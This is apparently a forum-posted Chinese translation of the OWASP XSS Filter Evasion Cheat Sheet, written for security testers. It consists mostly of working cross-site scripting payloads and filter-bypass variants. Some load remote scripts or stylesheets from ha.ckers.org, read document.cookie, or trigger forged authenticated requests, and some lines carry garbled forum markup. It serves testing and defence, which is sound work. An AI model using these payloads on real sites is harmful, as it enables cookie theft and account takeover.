本身是对的,但是我理解错了。种种原因吧,最后基本上都按原文在翻译,有些觉得可能存在错误的地方或是我理解不了的地方,我就没有翻译,继续使用英文。希
望大家可以帮忙给出翻译或是解释。
如果大家有能力阅读英文的话,尽量阅读原文,即使要看这个翻译版,也配合英文版一起看。不要让我的翻译错误误人子弟啊。最后希望大家可以和我一起解决翻译中的各种错误,把这个中文版维护好。
谢谢
源文档地址:https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
翻译文档在线阅读:https://www.zybuluo.com/laodao/note/9592
介绍
这篇文章的主要目的是去给应用安全测试者提供一份xss漏洞检测指南。文章的初始内容由RSnake提供给OWASP,从他的xss备忘录:
http://ha.ckers.org/xss.html
。目前这个网页已经重定向到我们这里,我们打算维护和完善它。OWASP的第一个防御备忘录项目:the XSS (Cross Site
Scripting) Prevention Cheat Sheet灵感来源于RSnake的 XSS Cheat
Sheet,所以我们对他给予我们的启发表示感谢。我们想要去创建短小简单的参考给开发者去帮助他们预防xss漏洞,而不是创建一个复杂的备忘录去简单的
告诉他们需要去预防各种千奇百怪的攻击。所以,OWASP备忘录系列诞生了。

测试
这个备忘录主要针对那些已经理解了最基本的xss攻击,但是想要深入理解各种过滤器绕过的细微差别的学习者。
请注意大部分的xss攻击向量已经在其代码下方给出了测试过的浏览器列表。

xss 探测器
注入下面这些代码,在大多数没有特殊xss向量要求而已遭受脚本攻击的地方将会弹出单词“xss”。使用url编码器去编码你的整个代码。小技巧:如果你是急切的需要快去检测一个页面,通常只需要注入轻量的 "<任意字符>" 标签,然后判断输出点是否受到干扰就可以判断是否xss漏洞了。

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
[quote]</SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

xss 探测器2
如果你没有充足的输入空间去检测页面是否存在xss漏洞。下面这段代码是一个好的简洁的xss注入检测代码。在注入这段代码后,查看页面源代码寻找是否存在看起来像 <XSS verses <XSS这样的输入点从而判断是否存在xss漏洞。[/quote]

'';!--"<XSS>=&{()}

无过滤绕过
这是一个常规的xss注入代码,虽然通常它会被防御,但是我们建议首先去尝试它。(引号是不被需要的在任何现代浏览器中,因此这里省略了它。)
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>

通过javascript指令实现的图片xss
图片xss依靠javascript指令实现。(IE7.0不支持javascript指令在图片上下文中,但是可以在其他上下文触发。下面的例子仅仅展示了一种其他标签依旧通用的原理。)
<IMG SRC="javascript:alert('XSS');">

无引号无分号
<IMG SRC=javascript:alert('XSS')>

不区分大小写的xss攻击向量
<IMG SRC=JaVaScRiPt:alert('XSS')>

html 实体
The semicolons are required for this to work:
<IMG SRC=javascript:alert("XSS")>

重音符混淆
如果你的javascript代码中需要同时使用单引号和双引号,那么可以使用重音符(`)来包裹javascript代码。它也经常会非常有用因为xss过滤代码未考虑到这个字符。

<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

畸形的A标签
跳过href属性,而直接获取xss实质攻击代码…提出被David Cross ~ 已验证在chrome浏览器

<a onmouseover="alert(document.cookie)">xxs link</a>
此外,chrome浏览器喜欢去不全确实的引号为你。如果你遇到阻碍那么直接省略它们吧,chrome将会正确的帮你不全缺失的引号在URL和script中。

<a onmouseover=alert(document.cookie)>xxs link</a>

畸形的IMG标签
最早被 Begeek发现(可以短小而干净的运行于任何浏览器),这个xss向量依靠松散的渲染引擎解析IMG标签中被引号包含的字符串来实现。我猜测它最初是为了正确编码而造成的。这将使它更加困难的去解释HTML标签。

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

fromCharCode
如果没有任何形式的引号被允许,你可以eval()一串fromCharCode在javascript来创建任何你需要的xss向量。

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

默认SRC属性去绕过SRC域名检测过滤器

这将绕过绝大多数SRC域名过滤器。插入javascript代码在任何一个事件方法同样适用于热河一个HTML标签,例如Form、
Iframe、Input、Embed等等。他将也允许任何任何该标签的相关事件去替换,例如onblur,
onclick等,后面我们会附加一个可用的事件列表。由David Cross提供,Abdullah Hussam编辑。

<IMG SRC=# onmouseover="alert('xxs')">

默认SRC属性通过省略它的值
<IMG SRC= onmouseover="alert('xxs')">


默认SRC属性通过完全不设置它
<IMG onmouseover="alert('xxs')">


通过error事件触发alert
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>


十进制html编码引用
所有在使用javascript指令的xss示例将无法工作在 Firefox 或 Netscape 8.1+,因为它们使用了 Gecko 渲染引擎。使用 XSS Calculator 获取更多信息。

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
&#39;&#88;&#83;&#83;&#39;&#41;>


结尾没有分号的十进制html编码引用
他是经常有用的在绕过寻找"&#XX;"格式的xss过滤,因为大多数人不知道最多允许7位字符的编码限制。这也是有用的对那些对字符串解码像$tmp_string =~ s/.\&#(\d+);./$1/; ,错误的认为一个html编码需要用;去结束。(我是无意中发现)

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
结尾没有分号的十六进制html编码引用
这也是一种实用的xss攻击针对上文的$tmp_string =~ s/.\&#(\d+);./$1/; ,错误的认为数字编码跟随在#后面(十六进制htnl编码并非如此),。使用 XSS Calculator 获取更多信息。

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>


内嵌TAB
用来分开xss攻击代码
<IMG SRC="jav ascript:alert('XSS');">



内嵌被编码的TAB
用来分开xss攻击代码
<IMG SRC="jav&#x09;ascript:alert('XSS');">


内嵌换行符去分开xss代码
一些网站声称09-13编码的所有字符(十进制)都可以实现这种形式的攻击。这是不正确的。只有09(tab), 10 (换行) 和 13 (回车)可以使用。查看ascii表为更详细的信息。下面四个xss例子展示了这个向量。
<IMG SRC="jav&#x0A;ascript:alert('XSS');">



编码回车符去分开xss代码
注意:上面我编写的三个xss字符串比必须的字符串更长,原因是0可以被省略。通常我看到的过滤器假设十六进制和十进制的编码是两到三个字符。正确的应该是一到七个字符。

<IMG SRC="jav&#x0D;ascript:alert('XSS');">


没有分割的javascript指令
null字符也可以作为一个xss向量,但是不像上边那样。你需要直接注入它们利用一些工具例如Burp Proxy,或是使用 
在你的url字符串里。或者如果你想写你自己的注入工具你可以使用vim(^V^@
会生成null),以及用下面的程序去生成它到一个文本文件中。好吧,我再一次撒谎了。 Opera的老版本(大约 7.11 on
Windows)是脆弱的对于一个额外的字符173(软连字符)。但是null字符
是更加的有用或者帮助我们绕过某些真实存在的过滤器用过变动像这个例子中的。

perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out


图片元素中javascript之前的空格和元字符为xss
xss过滤拼配模式没有考虑单词"javascript:"中可能存在空格是正确的,因为否则将无法渲染。但是这也导致了错误的假设认为你不可以有一个空格在引号和 "javascript:" 单词之间。事实上你可以插入 1-32编码字符(十进制)中的任何字符。

<IMG SRC=" &#14; javascript:alert('XSS');">


非字母数字字符xss
Firefox html解析器设定一个非数字字母字符不是有效的在一个html关键字后面,因此这些字符会被视为空白符或是无效的token在html标签之后。这导致很多xss过滤器错误的认为html标签必须是被空白符隔断的。例如,"<SCRIPT\s" != "<SCRIPT/XSS\s":

<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
和上面的原理相同,我们继续扩大,Gecko渲染引擎允许字母、数字、html封装字符以外的任何字符位于事件处理器与等号之间。从而借此绕过xss过滤器。注意这也是适用于重音符如下所示:

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
Yair Amit 提示我有一个小区别在 ie和Gecko 渲染引擎之间是他们仅允许一个一个斜杠在html标签和参数之间,在不使用空格的情况下。这可能是有用的在那些不允许输入空格的系统中。
<SCRIPT/SRC="[url=http://ha.ckers.org/xss.js"></SCRIPT>&#10;]http://ha.ckers.org/xss.js"></SCRIPT>
[/url]

附加的开括号
Franz
Sedlmaier提出,利用这个xss向量可以绕过某些检测引擎,因为这些引擎通过拼配最早出现的一对尖括号,并且提取其内部内容作为标签,而没有使用
更加有效的算法例如
Boyer-Moore(寻找打开的尖括号以及相关标签的模糊拼配)。代码中的双斜杠可以抑制额外尖括号导致的javascript错误。
<<SCRIPT>alert("XSS");//<</SCRIPT>


没关闭的script标签

对于使用了 Gecko渲染引擎的Firefox 和 Netscape 8.1
,你并不需要常规xss中"></SCRIPT>"这部分。 Firefox会帮你闭合标签,并且加入结束标签。多么的体贴啊!
Unlike the next one, which doesn't effect Firefox, this does not require
any additional HTML below it.
如果需要,你可以加入引号,但通常他并不是必须的。注意,我并不清楚这个代码被注入后html代码会闭合成什么样子。

<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >


script标签中的协议解析
这个特殊的变体由 Łukasz Pilorz 提出,并且基于上文中 Ozh提出的协议解析绕过。这个xss例子工作在 IE,
使用IE渲染引擎的Netscape 以及加了在结尾的 Opera。这是非常有用的在输入长度受到限制。域名越短越好。
".j"是有效的,不需要考虑编码问题因为浏览拿起可以自动识别在一个script标签中。

<SCRIPT SRC=//ha.ckers.org/.j>


半开的HTML/JavaScript xss向量
不同于 Firefox
,ie渲染引擎不会加入额外的数据到你的页面。但是它允许javascript指定在图片标签中这是有用的作为一个xss向量,因为它不需要一个结束的尖
括号。你可以插入这个xss向量在任何html标签后面。甚至没有用">"关闭标签。 A note: this does mess up
the HTML, depending on what HTML is beneath it. It gets around the
following NIDS regex:
/((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn't
require the end ">". 这也是有效的去对付真实的xss过滤器,我曾经碰见过试用半开的<IFRAME 标签替代
<IMG 标签,

<IMG SRC="javascript:alert('XSS')"


双开尖括号
使用一个开始尖括号(<)在向量结尾代替一个关闭尖括号(>)会有不同的影响在 Netscape Gecko 的渲染中。 Without it, Firefox will work but Netscape won't。

<iframe src=http://ha.ckers.org/scriptlet.html <


转义javascript中的转义
当一个应用程序是输出用户自定义的信息到javascript代码中,例如: <SCRIPT>var
a="$ENV{QUERY_STRING}";</SCRIPT>。如果你想插入你自己的javascript代码进入它,但是服务器转义
了其中的某些引号,这时你需要通过转义被转义的字符来绕过它。从而使最终的输入代码类似于<SCRIPT>var
a="\";alert('XSS');//";</SCRIPT>
。最终\转义了双引号前被服务器添加的\,而双引号则不会被转义,从而触发xss向量。xss定位器使用这个方法。

\";alert('XSS');//


闭合title标签
这是一个简单的xss向量,可以引入一个恶意的xss攻击。译者注:titile标签内部不支持html代码,所有内容会被自动转义为普通字符。
</TITLE><SCRIPT>alert("XSS");</SCRIPT>


INPUT image
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">


BODY image
<BODY BACKGROUND="javascript:alert('XSS')">


IMG DYNSRC(视频剪辑)
<IMG DYNSRC="javascript:alert('XSS')">


IMG lowsrc(低分辨率图片)
<IMG LOWSRC="javascript:alert('XSS')">


List-style-image
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>


List-style-image
为带有符号的列表嵌入自定义图片的符号。它是只能工作在ie渲染引擎因为javascript指令。这不是一个特别有用的xss向量。
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>


VBscript in an image
<IMG SRC='vbscript:msgbox("XSS")'>



Livescript (仅适用于老版本的Netscape)
<IMG SRC="livescript:">


BODY 标签
这个方法不需要使用任何"javascript:" or "<SCRIPT..." 的变体去实现xss攻击。Dan Crowley特别指出你可以额外的加入一个空格在等号之前("onload=" != "onload ="):
<BODY ONLOAD=alert('XSS')>



事件处理程序
它可以被用于上文中的一些共性xss攻击(这是最完整的一个实时更新的在线列表)。感谢Rene Ledosquet 的更新。此外你可以参考 Dottoro Web Reference 或是 events in JavaScript.
1. FSCommand() (攻击者可以使用它当执行一个嵌入的flash对象时)
2. onAbort() (当使用者终止一张正在载入的图片)
3. onActivate() (当对象被设置为激活元素)
4. onAfterPrint() (用户打印或是预览打印工作后激活)
5. onAfterUpdate() (激活在一个数据对象当源对象数据更新后)
6. onBeforeActivate() (触发在一个对象被设置为激活元素)
7. onBeforeCopy() (攻击者执行攻击代码在一个选区被复制到剪贴板之前-攻击者可以实现它通过execCommand("Copy")函数。)
8. onBeforeCut() (攻击者执行攻击代码在在一个选区被剪贴。)
9. onBeforeDeactivate() (当激活元素被改变后触发)
10. onBeforeEditFocus() (触发在一个可被编辑的元素内的对象就按测到一个 UI-activated状态或是一个可被编辑对象被选择之前)
11. onBeforePaste() (用户需要被欺骗执行粘贴或是去触发它通过execCommand("Paste")函数。)
12. onBeforePrint() (用户需要被欺骗执行打印或是攻击者可以使用print()或是execCommand("Print")函数。)
13. onBeforeUnload() (用户需要被欺骗关闭浏览器-攻击者不可以 unload windows除非它是被执行从其父窗口。)
14. onBeforeUpdate() (激活在数据对象在源对象更新数据之后。)
15. onBegin() (onbegin 事件被立即触发当元素的声明周期开始后)
16. onBlur() (当失去焦点时触发*)
17. onBounce() (触发当选框对象的behavior属性被设置为"alternate"或是选框的内容抵达窗口的一边。)
18. onCellChange() (触发当数据改变在数据provider)
19. onChange() (select, text, or TEXTAREA 字段失去焦点或是它们的值是被改变。)
20. onClick()(点击事件)
21. onContextMenu() (用户需要右击在攻击攻击区域)
22. onControlSelect() (当用户去控制一个选择对象时触发。)
23. onCopy() (用户需要去copy某些东西或是利用execCommand("Copy")命令)
24. onCut() (用户需要copy某些东西或是利用execCommand("Cut") 命令)
25. onDataAvailable() (用户改变数据在某个元素上或是攻击者可以执行相同的函数。)
26. onDataSetChanged() (当源数据对象被改变时触发)
27. onDataSetComplete() (触发当数据是成功获取到从数据源对象)
28. onDblClick() (用户双击某个元素。)
29. onDeactivate() (当当前元素失去激活状态时触发)
30. onDrag() (需要用户拖动某个对象)
31. onDragEnd() (需要用户拖动某个对象)
32. onDragLeave() (需要用户拖动某个对象从一个有效的位置。)
33. onDragEnter() (需要用户拖动某个对象从一个有效的位置。)
34. onDragOver() (需要用户拖动某个对象从一个有效的位置。)
35. onDragDrop() (用户拖动某个对象(例如文件)到浏览器窗口内。)
36. onDragStart() (当用户开始拖动操作时发生。)
37. onDrop() (用户拖动某个对象(例如文件)到浏览器窗口内。)
38. onEnd() (当生命周期结束时触发)
39. onError() (载入document 或 image发生错误时触发)
40. onErrorUpdate() (当更新数据源的相关对象时发生错误则触发)
41. onFilterChange() (当一个滤镜完成状态改变时触发)
42. onFinish() (移动的Marquee文字完成一次移动时触发)
43. onFocus() (当窗口获得焦点时攻击者可以执行代码)
44. onFocusIn() (当窗口获得焦点时攻击者可以执行代码)
45. onFocusOut() (当窗口失去焦点时攻击者可以执行代码)
46. onHashChange() (当当前地址的hash发生改变时触发)
47. onHelp() (当用户在当前窗口点击F1时触发攻击代码)
48. onInput() (可编辑元素中的内容被用户改变后出发)
49. onKeyDown() (用户按下一个键)
50. onKeyPress() (用户点击或是按下一个键)
51. onKeyUp() (用户释放一个键)
52. onLayoutComplete() (用户需要去打印或是打印预览)
53. onLoad() (攻击者执行攻击代码在窗口载入后)
54. onLoseCapture() (可以被触发被releaseCapture() 方法)
55. onMediaComplete() (当波翻改一个流媒体文件时,这个事件将触发在文件开始播放前。)
56. onMediaError() (当用户打开的页面包含一个媒体文件,并且发生错误时触发)
57. onMessage() (当文档对象接受到一个信息时触发)
58. onMouseDown() (攻击者需要让用户去点击一张图片。)
59. onMouseEnter() (光标移入一个对象或是区域)
60. onMouseLeave() (攻击者需要让用户移动光标进入一个图片或是表格,接着再次移出)
61. onMouseMove() (攻击者需要让用户移动鼠标进入一个图片或是表格上)
63. onMouseOver() (光标移到一个对象或是区域上)
64. onMouseUp() (攻击者需要让用户点击一张图片)
65. onMouseWheel() (拥挤着需要让用户去使用他们的鼠标滚轮)
66. onMove() (用户或攻击者需要移动页面)
67. onMoveEnd() (用户说攻击者需要移动页面)
68. onMoveStart() (用户说攻击者需要移动页面)
69. onOffline() (浏览器从在线模式转换到离线模式时发生)
70. onOnline() (浏览器从离线模式转换到在线模式时发生)
71. onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline)
72. onPaste() (用户需要去粘贴或是攻击者执行execCommand("Paste") 方法)
73. onPause() (当激活元素时间停顿时触发,包括body元素)
74. onPopState() (当用户返回会话历史时触发)
75. onProgress() (当一个flash动画载入时触发)
76. onPropertyChange() (用户或攻击者需要改变一个元素的属性)
77. onReadyStateChange() (用户或攻击者需要改变一个元素的属性)
78. onRedo() (用户执行再执行操作)
79. onRepeat() (the event fires once for each repetition of the timeline, excluding the first full cycle)
80. onReset() (用户或攻击者重置表单)
81. onResize() (用户调整窗口大小,或是攻击者自动触发通过某些代码例如&#x3C;SCRIPT>self.resizeTo(500,400);&#x3C;/SCRIPT>)
82. onResizeEnd() (用户调整窗口大小,或是攻击者自动触发通过某些代码例如&#x3C;SCRIPT>self.resizeTo(500,400);&#x3C;/SCRIPT>)
83. onResizeStart() (用户调整窗口大小,或是攻击者自动触发通过某些代码例如&#x3C;SCRIPT>self.resizeTo(500,400);&#x3C;/SCRIPT>)
84. onResume() (当元素从暂停恢复到激活时触发,包括body元素)
85. onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
86. onRowsEnter() (用户或攻击者需要改变数据源中的一行)
87. onRowExit() (用户或攻击者需要改变数据源中的一行)
88. onRowDelete() (用户或攻击者需要删除数据源中的一行)
89. onRowInserted() (用户或攻击者需要向数据源中插入一行)
90. onScroll() (用户需要滚动,或是攻击者可以执行scrollBy() 函数)
91. onSeek() (媒体播放移动到新位置)
92. onSelect() (用户需要去选择一些文本 - 攻击者可以自动运行利用某些方法例如 window.document.execCommand("SelectAll");)
93. onSelectionChange() (用户需要去选择一些文本 - 攻击者可以自动运行利用某些方法例如 window.document.execCommand("SelectAll");)
94. onSelectStart() (用户需要去选择一些文本 - 攻击者可以自动运行利用某些方法例如 window.document.execCommand("SelectAll");)
95. onStart() (当marquee元素循环开始时触发)
96. onStop() (用户需要点击停止按钮或是离开网页)
97. onStorage() (存储区域改变)
98. onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire)
99. onSubmit() (需要攻击者或用户提交表单)
100. onTimeError() (用户或攻击者需要设置一个时间属性例如 dur 的值为无效的值)
101. onTrackChange() (用户或攻击者需要改变播放列表的轨迹)
102. onUndo() (user went backward in undo transaction history)
103. onUnload() (当用户点击一个链接或是按下回车键或是攻击者触发一个点击事件)
104. onURLFlip() (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
105. seekSegmentTime() (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)




BGSOUND(背景音乐)
<BGSOUND SRC="javascript:alert('XSS');">


& JavaScript 包含
<BR SIZE="&{alert('XSS')}">


样式表
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">



远程样式表
(通过某些方式例如最简单的远程样式表,你可以插入一个样式参数为嵌入表达式的xss代码)。它是仅仅工作在IE浏览器或是使用了IE渲染引擎的
Netscape
8.1+。需要注意的是页面中并没有展现出它包含了javascript代码。注意:所有的远程样式表示例需要至少用到body标签,负责将无法工作除非
页面中包含除了向量本身的其他内容。因此你需要添加至少一个字母到页面确保他可以工作如果它是一个空白页面。

<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">



 远程样式表2
他的工作原理与上面相同。但是使用了STYLE标签代替LINK标签。榆次向量稍有不同的变异被用于攻击Google Desktop。你可以移除</STYLE>标签当后面的html去闭合它。这个向量是有用的在不允许输入等号或是反斜杠的实际环境中。

<STYLE>@import'[url=http://ha.ckers.org/xss.css';</STYLE>&#10;]http://ha.ckers.org/xss.css';</STYLE>
[/url]

远程样式表3
它仅仅可以工作在 Opera 8.0 (no longer in 9.x) ,但是是非常的狡猾。 Opera 8.0 (no longer
in 9.x) 。根据RFC2616规定,设置一个连接头不是 HTTP1.1 规定的一部分,但是很多浏览器仍然允许它(例如Firefox
and Opera)。这个技巧是我们可以设置一个http头(与常规http头没有什么不同,只是 Link: http://ha.ckers.org/xss.css; REL=stylesheet)。这样带有xss代码的远程向量将运行javascript。他并不被支持在 FireFox。

<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">


远程样式表4
它是仅仅工作在 Gecko 渲染引擎。并且需要绑定一个 XUL文件在页面。令人讽刺的是Netscape认为Gecko是更加安全的,因此绝大多是网站会受到这个攻击。

<STYLE>BODY{-moz-binding:url("[url=http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>&#10;]http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>[/url]


分隔javascript在STYLE标签
这个xss在ie浏览器中会造成无线循环

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>


STYLE属性中使用注释去分隔表达式
提出被 Roman Ivanov
<IMG STYLE="xss:expr/[i]XSS[/i]/ession(alert('XSS'))">



IMG样式的表达式
这是上面xss向量的混合体。但是它是展示了STYLE标签被分隔有多困难。同样它也会在ie下造成循环弹窗。

exp/[i]<A STYLE='no\xss:noxss("[/i]//*");
xss:ex/[i]XSS[/i]//[i]/[/i]/pression(alert("XSS"))'>


STYLE标签(仅支持老版本的Netscape)
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>


使用background-image的style标签
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>


使用background的style标签
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>



匿名html标签的属性
IE6.0 和使用了ix渲染引擎的Netscape 8.1+ 并不会关心你建立的html标签存在与否。只要它是以尖括号以及字符开始的。

<XSS STYLE="xss:expression(alert('XSS'))">


本地 htc 文件
它有一个小的不同与上面的xss向量,因为他使用的 htc 文件必须是当前域的文件。这个文件通过样式属性引入并运行javascript代码实现xss。

<XSS STYLE="behavior: url(xss.htc);">


US-ASCII编码

US-ASCII 编码 (发现被 Kurt Huwig)。它是使用畸形的ASCII 编码用7bits代替8bits.
这个xss可以绕过绝大多数内容过滤,但是必须当前域的传输形式为 US-ASCII编码方式。或者你自己去设置这种编码方式
。它是有用的去绕过web应用防火墙xss过滤比服务器端的过滤。Apache的 Tomcat是众所周知的 使用US-ASCII编码传输协议。

¼script¾alert(¢XSS¢)¼/script¾


META
关于meta refresh比较奇怪的是他并不是发送一个刷新请求头。因此他通常用于不需要引用url的攻击。

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">


META using data
URL指令方案,它是非常的不错因为赢没有明显的SCRIPT单词或是JavaScript 指令出现,因为它使用了base64 编码。请查看 RFC 2397了解更多信息或是编码你的代码。你也可以使用 XSS calculator去编码你的html或是javascript代码到base64位。

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

 
额外url参数的META
如果当前网页试图去查找URL参数是否以"http://" 开始,你可以用下列技术绕过(被 Moritz Naumann提出)

<META HTTP-EQUIV="refresh" CONTENT="0; URL=[url=http://;URL=javascript:alert('XSS');">&#10;]http://;URL=javascript:alert('XSS');">
[/url]

IFRAME
如果一个iframes被允许,那么同时可能会存在大量其他xss问题

<IFRAME SRC="javascript:alert('XSS');"></IFRAME>


IFRAME 基于事件
IFrames或其他元素可以使用事件如下(提出被 David Cross)
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>



FRAME
Frames有一些列相同的问题像 iframes
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>


TABLE
<TABLE BACKGROUND="javascript:alert('XSS')">



TD
像上面一样,TD也可以通过 BACKGROUND 来包含javascript xss向量

<TABLE><TD BACKGROUND="javascript:alert('XSS')">


DIV background-image
<DIV STYLE="background-image: url(javascript:alert('XSS'))">



使用 unicoded编码xss利用代码的DIV background-image
这是被轻微的修改去混淆 url 参数。他是最早被发现被 Renaud Lifchitz用于攻击hotmail。

<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">

附加额外字符的DIV background-image
Rnaske开发了一个XSS fuzzer去探测可以在开括号和javascript之间加入哪些额外字符在 IE和安全模式下的
Netscape 8.1。都是一些十进制的字符,但是你也可以用十六进制来填充。(下面这些编码字符可以被使用:1-32, 34, 39, 160,
8192-8.13, 12288, 65279)

<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">


DIV expression
它的一个变体是更加有效的去绕过实际的xss过滤器是在冒号和表达式之间添加换行符。
<DIV STYLE="width: expression(alert('XSS'));">


html条件选择注释块
只能工作在IE5.0 以及更新版或是使用了ie渲染引擎的Netscape 8.1 。
一些网站认为任何包裹在注释中的内容都是安全的,因此并不会被移除。这将允许我们的xss向量。或者系统可能通过添加注释对某些内容去试图无害的渲染它。
如我们所见,这有时并不起作用。

<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->


BASE标签
工作ie或是使用了安全模块的Netscape 8.1,你需要使用 "//"
斜体文本去避免javascript错误。这需要当前网站使用相对路径(例如images/image.jpg)而不是绝对路径。如果路径开始用一个斜杠
(例如"/images/image.jpg"),你需要去掉xss向量中的一个斜杠(只有在两个斜杠的情况下才会起到注释作用)

<BASE HREF="javascript:alert('XSS');//">


OBJECT标签
如果允许objects标签,你也可以注入病毒payloads去感染用户。类似于APPLET标签。这个链接文件是一个包含xss代码的html文件。
<OBJECT TYPE="text/x-scriptlet" DATA="[url=http://ha.ckers.org/scriptlet.html"></OBJECT>&#10;]http://ha.ckers.org/scriptlet.html"></OBJECT>[/url]


使用一个你可以载入包含有xss代码的flash文件的 EMBED 标签
点击这个demo,如果你加入属性allowScriptAccess="never" and allownetworking="internal"他可以缓解这个风险(谢谢Jonathan Vanasco 的这个信息)

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>


使用在flash中的ActionScript可以混淆你的xss向量
a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);



CDATA混淆的 XML数据岛
这个xss向量尽可以在IE 和使用了ie渲染引擎的 Netscape 8.1 下工作。它是 Sec Consult在审计雅虎时发现。

<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>


使用XML数据岛生成含有javascript代码的当前域xml文件
它是相同的同上面仅仅代替XML文件为当前域文件。你可以看到结果在下面。    


HTML+TIME 在XML中
它展示的 Grey Magic 是怎样攻击 Hotmail 和 Yahoo!的。它是仅仅可以工作在ie和使用了ie渲染引擎的Netscape 8.1。并且这段代码需要放在html域body标签之间。

<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>



简单的修改字符去绕过过滤器对 ".js"的过滤
你可以重命名你的javascript文件为一个图片作为xss向量

<SCRIPT SRC="[url=http://ha.ckers.org/xss.jpg"></SCRIPT>&#10;]http://ha.ckers.org/xss.jpg"></SCRIPT>[/url]


SSI (服务器端包含)
这需要SSI被安装在服务器端去使用这个xss向量。但可能我并不需要提及这点,因为如果你可以运行命令在服务器端,那么毫无异味会有更加严重的问题存在。
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=[url=http://ha.ckers.org/xss.js></SCRIPT>'"-->&#10;]http://ha.ckers.org/xss.js></SCRIPT>'"-->[/url]

PHP
需要php被安装在服务器端去使用这个xss向量。同样的,如果你可以运行恩任何远程脚本,那么将会有更加严重的问题。

<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>


嵌入命令的IMG
它是工作于那些需要用户认证后才可以执行命令的当前域页面。它将可以创建删除用户(如果访问者是管理员),或是寄送某些凭证等等,虽然他是较少被使用但是是非常有用的。

<IMG SRC="[url=http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">&#10;]http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">[/url]

嵌入命令的IMG II
这是更加的可怕因为并没有特别的标识符去使它看起开来可疑。除非不允许引入第三方域的图片。这个向量是使用一个 302 or 304(或其他可行方案)去重定向一个图片地址为带有某些命令的地址。因此一个正常的图片标签代码<IMG
SRC="a.jpg">可以是带有命令的xss向量。但是用户看到的仅仅是正常的图片链接地址。下面是一个.htaccess(apche下)配
置文件去完成这个向量。(感谢Timo为这部分。)

